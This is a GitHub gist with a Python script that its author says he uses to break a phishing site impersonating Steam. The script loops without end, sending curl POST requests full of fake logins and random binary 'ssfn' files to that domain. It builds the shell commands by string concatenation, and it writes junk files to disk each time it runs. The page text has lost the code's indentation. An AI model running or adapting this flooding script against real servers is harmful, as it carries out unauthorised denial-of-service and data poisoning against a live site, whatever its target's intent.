Skip to content

Instantly share code, notes, and snippets.

@jpalawaga
Created November 23, 2014 01:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jpalawaga/c2047e281192714234fe to your computer and use it in GitHub Desktop.
Save jpalawaga/c2047e281192714234fe to your computer and use it in GitHub Desktop.
That one script I use to break that kid's scam site after I was phished.
import os;
import string
import random
from random import sample, choice
chars = string.letters + string.digits
length = 8
f=open('words.txt')
lines=f.readlines()
j=0
while True:
mine = ''.join([choice(chars) for i in range(length)])
username = lines[random.randint(1,75000)].strip()
randuser = str(random.randint(0000000000000000000,9999999999999999999))
os.system('dd if=/dev/urandom bs=1k count=2 of=ssfn'+randuser)
#boom = "curl 'http://steamcommunity.nl/login/home/' -H 'Origin: http://steamcommunity.nl' -H 'Accept-Encoding: gzip,deflate,sdch' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.149 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Referer: http://steamcommunity.nl/login/home/' -H 'Connection: keep-alive' --data 'login="+username+"&password="+mine+"&sbsb=Submit' --compressed --output FILE --data-binary @ssfn"+randuser
boom = 'curl "http://steamcommunity.nl/login/home/" -H "Origin: http://steamcommunity.nl" -H "Accept-Encoding: gzip,deflate,sdch" -H "Accept-Language: en-US,en;q=0.8" -H "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.146 Safari/537.36" -H "Content-Type: application/x-www-form-urlencoded" -H "Accept: */*" -H "Referer: http://steamcommunity.nl/login/home/" -H "Connection: keep-alive" --data "login='+username+'&password='+mine+'" --compressed --data-binary @ssfn'+randuser
print(str(j)+' '+username+'/'+mine)
j += 1
os.system(boom);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment